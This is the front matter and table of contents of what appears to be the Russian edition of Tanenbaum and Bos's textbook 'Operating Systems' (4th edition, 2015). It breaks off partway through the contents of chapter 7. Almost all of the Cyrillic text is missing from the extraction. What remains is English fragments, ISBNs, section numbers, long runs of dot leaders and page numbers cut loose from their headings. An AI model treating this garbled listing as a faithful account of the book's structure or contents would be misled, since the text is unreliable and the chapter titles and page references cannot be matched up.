Академический Документы
Профессиональный Документы
Культура Документы
OPERATING SYSTEMS
4th Edition
Andrew S. Tanenbaum,
Herbert Bos
.
.
4 -
-
--
2015
32.973.3-018.2
004.451
18
., .
18
. 4- . .: , 2015. 1120 .:
. ( computer science).
ISBN 978-5-496-01395-6
,
.
. , Windows Vista Windows 8.1
. ,
Android. , Unix Linux, RAID. ,
.
. ,
.
, .
ISBN 978-0133591620 .
ISBN 978-5-496-01395-6
Prentice Hall
, 2015
, , 2015
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301
5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 380
6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 488
7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 527
8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 576
9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 659
10. : Unix, Linux Android . . . . . . . . . . . . . . . . . . . . . . . . . 784
11. : Windows 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 931
12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1058
13. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1110
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
1.1. ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . .
1.1.2. . . . . . . . . . . . . . . . . . . . .
1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.2.1. (19451955): . . . . . . . . . . . . . . . . . . . . . . . .
1.2.2. (19551965): . .
1.2.3. (19651980): . . . . . .
1.2.4. ( 1980 ): . . .
1.2.5. ( 1990 ): . . . . . . . . .
1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.2. . . . . . . . . . . . . . . . . . . . . . . . .
1.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.5. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.4. . . . . . . . . . . . . . . . . . . . . . . .
1.4.5. . . . . . . . . . . . . .
1.4.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.9. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.4. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
24
24
26
27
28
29
31
36
41
42
43
45
47
50
51
55
58
59
59
60
60
60
61
61
61
62
63
63
63
66
66
69
70
70
72
75
80
82
83
1.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
1.6.5. Windows Win32 API . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
1.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
1.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
1.7.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
1.7.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
1.7.4. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
1.7.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
1.7.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
1.8. C . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
1.8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
1.8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
1.8.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
1.8.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
1.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
1.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104
1.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
1.12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.3. POSIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.4. . . . . . . . . . . . . . . . . . . . .
2.2.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.9. . . . . . . . . . . . . . . . . . . . . . . .
2.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.10. : . . . . . . . . . . . . .
2.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
111
112
114
116
117
118
120
122
123
124
129
133
135
138
140
140
142
143
146
147
148
150
155
158
161
167
172
175
177
178
179
186
2.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.6. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
188
195
196
197
198
199
202
203
205
205
3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2. : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3.3. . . . . . . . . . . . . . . . . . . . . . . .
3.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.2. . . . . . . . . . . . . . . .
3.4.3. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.6. . . . . . . . . . . . . . . . . .
3.4.7. LRU . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.9. WSClock . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.10. . . . .
3.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.1. . . . . . . . . . . . . . . . . . .
3.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.1. . . . . . . . . . . . . . .
3.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
215
218
218
221
224
227
229
233
235
239
243
244
245
246
246
247
248
248
250
254
256
257
258
260
261
263
264
265
268
268
269
270
270
271
272
273
274
276
277
281
3.7.2. : MULTICS . . . . . . . .
3.7.3. : Intel x86 . . . . . . . . .
3.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9
281
285
290
290
291
4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301
4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.7. , . . . . . . . . . . .
4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.2.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.2.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.5.1. MS-DOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.5.2. UNIX V7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.5.3. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
303
303
305
306
308
309
310
312
314
315
315
316
318
319
320
321
326
329
332
334
336
339
339
346
352
355
360
361
361
365
367
373
374
374
5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 380
5.1. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.1.1. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.1.3. -, . . . . . . . . . . . . . . . . . . . . . .
5.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.1.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
380
381
382
383
387
391
10
5.2. - . . . . . . . . . . . . . . . . . . .
5.2.1. , - . . . . . . . . .
5.2.2. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.2.3. -, . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.2.4. - DMA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3.3. -,
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3.4. -,
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4.3. . . . . . . . . . . . . . . . . . . . .
5.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.6. : , , . . . . . . . . . . . . . . . . . . . . . .
5.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . .
5.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.9. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
395
395
397
398
399
400
400
402
406
412
414
414
421
425
429
432
435
436
437
440
442
442
448
466
467
468
470
476
477
479
480
6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 488
6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.2.1. . . . . . . . . . . . . . . . . . . . . .
6.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.4. . . . . . . . . . . .
6.4.1.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.4.2.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5.4. . . . . . . . . . . . . . . . . . . . . . . . . .
489
489
490
492
493
493
496
497
497
499
502
504
504
506
507
508
6.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11
510
510
511
512
512
513
513
514
516
518
518
519
520
7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 527
7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.2. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.4.1. , . . . . . . . . . . . . . . . .
7.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.5. ? . . . . . . . . . . . . . . . . . . . . . . . . . .
7.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.6.1. . . . . . . . . . . . . . . . . . . . . . . . .
7.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.7. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.7.1. - . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.7.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.7.3. - . . . .
7.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
